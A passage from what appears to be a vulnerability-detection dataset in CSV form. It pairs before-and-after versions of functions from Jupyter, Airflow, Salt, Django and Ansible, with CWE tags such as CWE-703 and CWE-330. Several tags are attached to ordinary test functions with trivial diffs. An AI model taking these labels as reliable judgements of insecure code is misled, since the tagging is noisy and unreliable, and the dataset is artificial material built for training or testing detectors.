).rsplit(""_"", 1)[0]
assert actual_run_id == expected_run_id
self.assert_extra_link(dagrun, task, dag_maker.session)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
""""""
Find IPython's package_data.
""""""
# This is not enough for these things to appear in an sdist.
# We need to muck with the MANIFEST to get this to work
# exclude components and less from the walk;
# we will build the components separately
excludes = [
pjoin('static', 'components'),
pjoin('static', '*', 'less'),
]
# walk notebook resources:
cwd = os.getcwd()
os.chdir(os.path.join('IPython', 'html'))
static_data = []
for parent, dirs, files in os.walk('static'):
if any(fnmatch(parent, pat) for pat in excludes):
# prevent descending into subdirs
dirs[:] = []
continue
for f in files:
static_data.append(pjoin(parent, f))
components = pjoin(""static"", ""components"")
# select the components we actually need to install
# (there are lots of resources we bundle for sdist-reasons that we don't actually use)
static_data.extend([
pjoin(components, ""backbone"", ""backbone-min.js""),
pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
pjoin(components, ""font-awesome"", ""font"", ""*.*""),
pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
pjoin(components, ""jquery"", ""jquery.min.js""),
pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
pjoin(components, ""marked"", ""lib"", ""marked.js""),
pjoin(components, ""requirejs"", ""require.js""),
pjoin(components, ""underscore"", ""underscore-min.js""),
])
# Ship all of Codemirror's CSS and JS
for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
for f in files:
if f.endswith(('.js', '.css')):
static_data.append(pjoin(parent, f))
os.chdir(os.path.join('tests',))
js_tests = glob('*.js') + glob('*/*.js')
os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
nbconvert_templates = [os.path.join(dirpath, '*.*')
for dirpath, _, _ in os.walk('templates')]
os.chdir(cwd)
package_data = {
'IPython.config.profile' : ['README*', '*/*.py'],
'IPython.core.tests' : ['*.png', '*.jpg'],
'IPython.lib.tests' : ['*.wav'],
'IPython.testing.plugin' : ['*.txt'],
'IPython.html' : ['templates/*'] + static_data,
'IPython.html.tests' : js_tests,
'IPython.qt.console' : ['resources/icon/*.svg'],
'IPython.nbconvert' : nbconvert_templates +
['tests/files/*.*', 'exporters/tests/files/*.*'],
'IPython.nbconvert.filters' : ['marked.js'],
'IPython.nbformat' : ['tests/*.ipynb','v3/v3.withref.json']
}
return package_data",,jupyter/notebook,556257a66b5e4b311e9202408a8157ae71b685f3,"def find_package_data():
""""""
Find IPython's package_data.
""""""
# This is not enough for these things to appear in an sdist.
# We need to muck with the MANIFEST to get this to work
# exclude components and less from the walk;
# we will build the components separately
excludes = [
pjoin('static', 'components'),
pjoin('static', '*', 'less'),
]
# walk notebook resources:
cwd = os.getcwd()
os.chdir(os.path.join('IPython', 'html'))
static_data = []
for parent, dirs, files in os.walk('static'):
if any(fnmatch(parent, pat) for pat in excludes):
# prevent descending into subdirs
dirs[:] = []
continue
for f in files:
static_data.append(pjoin(parent, f))
components = pjoin(""static"", ""components"")
# select the components we actually need to install
# (there are lots of resources we bundle for sdist-reasons that we don't actually use)
static_data.extend([
pjoin(components, ""backbone"", ""backbone-min.js""),
pjoin(components, ""bootstrap"", ""bootstrap"", ""js"", ""bootstrap.min.js""),
pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
pjoin(components, ""font-awesome"", ""font"", ""*.*""),
pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
pjoin(components, ""jquery"", ""jquery.min.js""),
pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
pjoin(components, ""marked"", ""lib"", ""marked.js""),
pjoin(components, ""requirejs"", ""require.js""),
pjoin(components, ""underscore"", ""underscore-min.js""),
])
# Ship all of Codemirror's CSS and JS
for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
for f in files:
if f.endswith(('.js', '.css')):
static_data.append(pjoin(parent, f))
os.chdir(os.path.join('tests',))
js_tests = glob('*.js') + glob('*/*.js')
os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
nbconvert_templates = [os.path.join(dirpath, '*.*')
for dirpath, _, _ in os.walk('templates')]
os.chdir(cwd)
package_data = {
'IPython.config.profile' : ['README*', '*/*.py'],
'IPython.core.tests' : ['*.png', '*.jpg'],
'IPython.lib.tests' : ['*.wav'],
'IPython.testing.plugin' : ['*.txt'],
'IPython.html' : ['templates/*'] + static_data,
'IPython.html.tests' : js_tests,
'IPython.qt.console' : ['resources/icon/*.svg'],
'IPython.nbconvert' : nbconvert_templates +
['tests/files/*.*', 'exporters/tests/files/*.*'],
'IPython.nbconvert.filters' : ['marked.js'],
'IPython.nbformat' : ['tests/*.ipynb','v3/v3.withref.json']
}
return package_data"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_tasks.py,1,"def test_task_instances(admin_client):
""""""Test task_instances view.""""""
resp = admin_client.get(
f""/object/task_instances?dag_id=example_bash_operator&execution_date={STR_DEFAULT_DATE}"",
follow_redirects=True,
)
assert resp.status_code == 200
assert resp.json == {
""also_run_this"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""also_run_this"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_after_loop"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_after_loop"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_this_last"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""EmptyOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 1,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_this_last"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_0"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_0"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_1"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_1"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_2"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_2"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""this_will_skip"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""priority_weight_strategy"": ""downstream"",
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""this_will_skip"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
}",CWE-703,apache/airflow,9be2ffc30411693d069074c6a51a243d1e61fdc0,"def test_task_instances(admin_client):
""""""Test task_instances view.""""""
resp = admin_client.get(
f""/object/task_instances?dag_id=example_bash_operator&execution_date={STR_DEFAULT_DATE}"",
follow_redirects=True,
)
assert resp.status_code == 200
assert resp.json == {
""also_run_this"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""also_run_this"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_after_loop"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_after_loop"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_this_last"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""EmptyOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 1,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_this_last"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_0"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_0"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_1"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_1"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_2"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_2"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
""this_will_skip"": {
""custom_operator_name"": None,
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""execution_date"": DEFAULT_DATE.isoformat(),
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""this_will_skip"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": getuser(),
""updated_at"": DEFAULT_DATE.isoformat(),
},
}"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mdadm.py,0,"def create(name,
level,
devices,
metadata='default',
test_mode=False,
**kwargs):
'''
Create a RAID device.
.. versionchanged:: 2014.7.0
.. warning::
Use with CAUTION, as this function can be very destructive if not used
properly!
CLI Examples:
.. code-block:: bash
salt '*' raid.create /dev/md0 level=1 chunk=256 devices=""['/dev/xvdd', '/dev/xvde']"" test_mode=True
.. note::
Adding ``test_mode=True`` as an argument will print out the mdadm
command that would have been run.
name
The name of the array to create.
level
The RAID level to use when creating the raid.
devices
A list of devices used to build the array.
kwargs
Optional arguments to be passed to mdadm.
returns
test_mode=True:
Prints out the full command.
test_mode=False (Default):
Executes command on remote the host(s) and
Prints out the mdadm output.
.. note::
It takes time to create a RAID array. You can check the progress in
""resync_status:"" field of the results from the following command:
.. code-block:: bash
salt '*' raid.detail /dev/md0
For more info, read the ``mdadm(8)`` manpage
'''
opts = []
for key in kwargs:
if not key.startswith('__'):
opts.append('--{0}'.format(key))
if kwargs[key] is not True:
opts.append(str(kwargs[key]))
cmd = ['mdadm',
'-C', name,
'-R',
'-v'] + opts + [
'-l', str(level),
'-e', metadata,
'-n', str(len(devices))] + devices
cmd_str = ' '.join(cmd)
if test_mode is True:
return cmd_str
elif test_mode is False:
return __salt__['cmd.run'](cmd, python_shell=False)",,saltstack/salt,d744fc631182eda270b55c3f0de6d55a8023a316,"def create(name,
level,
devices,
metadata='default',
test_mode=False,
**kwargs):
'''
Create a RAID device.
.. versionchanged:: 2014.7.0
.. warning::
Use with CAUTION, as this function can be very destructive if not used
properly!
CLI Examples:
.. code-block:: bash
salt '*' raid.create /dev/md0 level=1 chunk=256 devices=""['/dev/xvdd', '/dev/xvde']"" test_mode=True
.. note::
Adding ``test_mode=True`` as an argument will print out the mdadm
command that would have been run.
name
The name of the array to create.
level
The RAID level to use when creating the raid.
devices
A list of devices used to build the array.
kwargs
Optional arguments to be passed to mdadm.
returns
test_mode=True:
Prints out the full command.
test_mode=False (Default):
Executes command on remote the host(s) and
Prints out the mdadm output.
.. note::
It takes time to create a RAID array. You can check the progress in
""resync_status:"" field of the results from the following command:
.. code-block:: bash
salt '*' raid.detail /dev/md0
For more info, read the ``mdadm(8)`` manpage
'''
opts = []
for key in kwargs:
if not key.startswith('__'):
opts.append('--{0}'.format(key))
if kwargs[key] is not True:
opts.append(str(kwargs[key]))
cmd = ['mdadm',
'-C', name,
'-v'] + opts + [
'-l', str(level),
'-e', metadata,
'-n', str(len(devices))] + devices
cmd = ' '.join(cmd)
if test_mode is True:
return cmd
elif test_mode is False:
return __salt__['cmd.run'](cmd, python_shell=False)"
,UNKNOWN,UNKNOWN,providers/sftp/tests/unit/sftp/hooks/test_sftp.py,1,"def test_close_conn(self):
self.hook.conn = self.hook.get_conn()
assert self.hook.conn is not None
self.hook.close_conn()
assert self.hook.conn is None",CWE-703,apache/airflow,998fcd6cfbc35b671a07b92d6f6fc532a00bd8dd,"def test_close_conn(self):
self.hook.conn = self.hook.get_conn()
assert self.hook.conn is not None
self.hook.close_conn()
assert self.hook.conn is None"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/views/i18n.py,0,"def get(self, request, *args, **kwargs):
locale = get_language()
domain = kwargs.get('domain', self.domain)
# If packages are not provided, default to all installed packages, as
# DjangoTranslation without localedirs harvests them all.
packages = kwargs.get('packages', '')
packages = packages.split('+') if packages else self.packages
paths = self.get_paths(packages) if packages else None
self.translation = DjangoTranslation(locale, domain=domain, localedirs=paths)
context = self.get_context_data(**kwargs)
return self.render_to_response(context)",CWE-Unknown,django/django,6b5106b1ceec03d945c1104b21feed3e25470fe0,"def get(self, request, *args, **kwargs):
locale = get_language()
domain = kwargs.get('domain', self.domain)
# If packages are not provided, default to all installed packages, as
# DjangoTranslation without localedirs harvests them all.
packages = kwargs.get('packages', '').split('+') or self.packages
paths = self.get_paths(packages) if packages else None
self.translation = DjangoTranslation(locale, domain=domain, localedirs=paths)
context = self.get_context_data(**kwargs)
return self.render_to_response(context)"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_grid.py,1,"def test_no_runs(admin_client, dag_without_runs):
resp = admin_client.get(f'/object/grid_data?dag_id={DAG_ID}', follow_redirects=True)
assert resp.status_code == 200, resp.json
assert resp.json == {
'dag_runs': [],
'groups': {
'children': [
{
'extra_links': [],
'id': 'task1',
'instances': [],
'is_mapped': False,
'label': 'task1',
},
{
'children': [
{
'extra_links': [],
'id': 'group.mapped',
'instances': [],
'is_mapped': True,
'label': 'mapped',
}
],
'id': 'group',
'instances': [],
'label': 'group',
'tooltip': '',
},
],
'id': None,
'instances': [],
'label': None,
},
}",CWE-703,apache/airflow,c5774e65e3ca57bae0d594f64440f4ebc0a43b63,"def test_no_runs(admin_client, dag_without_runs):
resp = admin_client.get(f'/object/grid_data?dag_id={DAG_ID}', follow_redirects=True)
assert resp.status_code == 200, resp.json
assert resp.json == {
'dag_runs': [],
'groups': {
'children': [
{
'extra_links': [],
'id': 'task1',
'instances': [],
'is_mapped': False,
'label': 'task1',
},
{
'children': [
{
'extra_links': [],
'id': 'group.mapped',
'instances': [],
'is_mapped': True,
'label': 'mapped',
}
],
'id': 'group',
'instances': [],
'label': 'group',
'tooltip': '',
},
],
'id': None,
'instances': [],
'label': None,
'tooltip': '',
},
}"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/__init__.py,1,"def _execute_module(self, module_name=None, module_args=None, tmp=None, task_vars=None, persist_files=False, delete_remote_tmp=None, wrap_async=False,
ignore_unknown_opts: bool = False):
'''
Transfer and run a module along with its arguments.
'''
if tmp is not None:
display.warning('_execute_module no longer honors the tmp parameter. Action plugins'
' should set self._connection._shell.tmpdir to share the tmpdir')
del tmp # No longer used
if delete_remote_tmp is not None:
display.warning('_execute_module no longer honors the delete_remote_tmp parameter.'
' Action plugins should check self._connection._shell.tmpdir to'
' see if a tmpdir existed before they were called to determine'
' if they are responsible for removing it.')
del delete_remote_tmp # No longer used
tmpdir = self._connection._shell.tmpdir
# We set the module_style to new here so the remote_tmp is created
# before the module args are built if remote_tmp is needed (async).
# If the module_style turns out to not be new and we didn't create the
# remote tmp here, it will still be created. This must be done before
# calling self._update_module_args() so the module wrapper has the
# correct remote_tmp value set
if not self._is_pipelining_enabled(""new"", wrap_async) and tmpdir is None:
self._make_tmp_path()
tmpdir = self._connection._shell.tmpdir
if task_vars is None:
task_vars = dict()
# if a module name was not specified for this execution, use the action from the task
if module_name is None:
module_name = self._task.action
if module_args is None:
module_args = self._task.args
self._update_module_args(module_name, module_args, task_vars, ignore_unknown_opts=ignore_unknown_opts)
remove_async_dir = None
if wrap_async or self._task.async_val:
async_dir = self.get_shell_option('async_dir', default=""~/.ansible_async"")
remove_async_dir = len(self._task.environment)
self._task.environment.append({""ANSIBLE_ASYNC_DIR"": async_dir})
# FUTURE: refactor this along with module build process to better encapsulate ""smart wrapper"" functionality
(module_style, shebang, module_data, module_path) = self._configure_module(module_name=module_name, module_args=module_args, task_vars=task_vars)
display.vvv(""Using module file %s"" % module_path)
if not shebang and module_style != 'binary':
raise AnsibleError(""module (%s) is missing interpreter line"" % module_name)
self._used_interpreter = shebang
remote_module_path = None
if not self._is_pipelining_enabled(module_style, wrap_async):
# we might need remote tmp dir
if tmpdir is None:
self._make_tmp_path()
tmpdir = self._connection._shell.tmpdir
remote_module_filename = self._connection._shell.get_remote_filename(module_path)
remote_module_path = self._connection._shell.join_path(tmpdir, 'AnsiballZ_%s' % remote_module_filename)
args_file_path = None
if module_style in ('old', 'non_native_want_json', 'binary'):
# we'll also need a tmp file to hold our module arguments
args_file_path = self._connection._shell.join_path(tmpdir, 'args')
if remote_module_path or module_style != 'new':
display.debug(""transferring module to remote %s"" % remote_module_path)
if module_style == 'binary':
self._transfer_file(module_path, remote_module_path)
else:
self._transfer_data(remote_module_path, module_data)
if module_style == 'old':
# we need to dump the module args to a k=v string in a file on
# the remote system, which can be read and parsed by the module
args_data = """"
for k, v in module_args.items():
args_data += '%s=%s ' % (k, shlex.quote(text_type(v)))
self._transfer_data(args_file_path, args_data)
elif module_style in ('non_native_want_json', 'binary'):
self._transfer_data(args_file_path, json.dumps(module_args))
display.debug(""done transferring module to remote"")
environment_string = self._compute_environment_string()
# remove the ANSIBLE_ASYNC_DIR env entry if we added a temporary one for
# the async_wrapper task.
if remove_async_dir is not None:
del self._task.environment[remove_async_dir]
remote_files = []
if tmpdir and remote_module_path:
remote_files = [tmpdir, remote_module_path]
if args_file_path:
remote_files.append(args_file_path)
sudoable = True
in_data = None
cmd = """"
if wrap_async and not self._connection.always_pipeline_modules:
# configure, upload, and chmod the async_wrapper module
(async_module_style, shebang, async_module_data, async_module_path) = self._configure_module(
module_name='ansible.legacy.async_wrapper', module_args=dict(), task_vars=task_vars)
async_module_remote_filename = self._connection._shell.get_remote_filename(async_module_path)
remote_async_module_path = self._connection._shell.join_path(tmpdir, async_module_remote_filename)
self._transfer_data(remote_async_module_path, async_module_data)
remote_files.append(remote_async_module_path)
async_limit = self._task.async_val
async_jid = f'j{random.randint(0, 999999999999)}'
# call the interpreter for async_wrapper directly
# this permits use of a script for an interpreter on non-Linux platforms
interpreter = shebang.replace('#!', '').strip()
async_cmd = [interpreter, remote_async_module_path, async_jid, async_limit, remote_module_path]
if environment_string:
async_cmd.insert(0, environment_string)
if args_file_path:
async_cmd.append(args_file_path)
else:
# maintain a fixed number of positional parameters for async_wrapper
async_cmd.append('_')
if not self._should_remove_tmp_path(tmpdir):
async_cmd.append(""-preserve_tmp"")
cmd = "" "".join(to_text(x) for x in async_cmd)
else:
if self._is_pipelining_enabled(module_style):
in_data = module_data
display.vvv(""Pipelining is enabled."")
else:
cmd = remote_module_path
cmd = self._connection._shell.build_module_command(environment_string, shebang, cmd, arg_path=args_file_path).strip()
# Fix permissions of the tmpdir path and tmpdir files. This should be called after all
# files have been transferred.
if remote_files:
# remove none/empty
remote_files = [x for x in remote_files if x]
self._fixup_perms2(remote_files, self._get_remote_user())
# actually execute
res = self._low_level_execute_command(cmd, sudoable=sudoable, in_data=in_data)
# parse the main result
data = self._parse_returned_data(res)
# NOTE: INTERNAL KEYS ONLY ACCESSIBLE HERE
# get internal info before cleaning
if data.pop(""_ansible_suppress_tmpdir_delete"", False):
self._cleanup_remote_tmp = False
# NOTE: dnf returns results .. but that made it 'compatible' with squashing, so we allow mappings, for now
if 'results' in data and (not isinstance(data['results'], Sequence) or isinstance(data['results'], string_types)):
data['ansible_module_results'] = data['results']
del data['results']
display.warning(""Found internal 'results' key in module return, renamed to 'ansible_module_results'."")
# remove internal keys
remove_internal_keys(data)
if wrap_async:
# async_wrapper will clean up its tmpdir on its own so we want the controller side to
# forget about it now
self._connection._shell.tmpdir = None
# FIXME: for backwards compat, figure out if still makes sense
data['changed'] = True
# pre-split stdout/stderr into lines if needed
if 'stdout' in data and 'stdout_lines' not in data:
# if the value is 'False', a default won't catch it.
txt = data.get('stdout', None) or u''
data['stdout_lines'] = txt.splitlines()
if 'stderr' in data and 'stderr_lines' not in data:
# if the value is 'False', a default won't catch it.
txt = data.get('stderr', None) or u''
data['stderr_lines'] = txt.splitlines()
# propagate interpreter discovery results back to the controller
if self._discovered_interpreter_key:
if data.get('ansible_facts') is None:
data['ansible_facts'] = {}
data['ansible_facts'][self._discovered_interpreter_key] = self._discovered_interpreter
if self._discovery_warnings:
if data.get('warnings') is None:
data['warnings'] = []
data['warnings'].extend(self._discovery_warnings)
if self._discovery_deprecation_warnings:
if data.get('deprecations') is None:
data['deprecations'] = []
data['deprecations'].extend(self._discovery_deprecation_warnings)
# mark the entire module results untrusted as a template right here, since the current action could
# possibly template one of these values.
data = wrap_var(data)
display.debug(""done with _execute_module (%s, %s)"" % (module_name, module_args))
return data",CWE-330,ansible/ansible,f024cf35d704369454a483495efa24ad95666cb6,"def _execute_module(self, module_name=None, module_args=None, tmp=None, task_vars=None, persist_files=False, delete_remote_tmp=None, wrap_async=False,
ignore_unknown_opts: bool = False):
'''
Transfer and run a module along with its arguments.
'''
if tmp is not None:
display.warning('_execute_module no longer honors the tmp parameter. Action plugins'
' should set self._connection._shell.tmpdir to share the tmpdir')
del tmp # No longer used
if delete_remote_tmp is not None:
display.warning('_execute_module no longer honors the delete_remote_tmp parameter.'
' Action plugins should check self._connection._shell.tmpdir to'
' see if a tmpdir existed before they were called to determine'
' if they are responsible for removing it.')
del delete_remote_tmp # No longer used
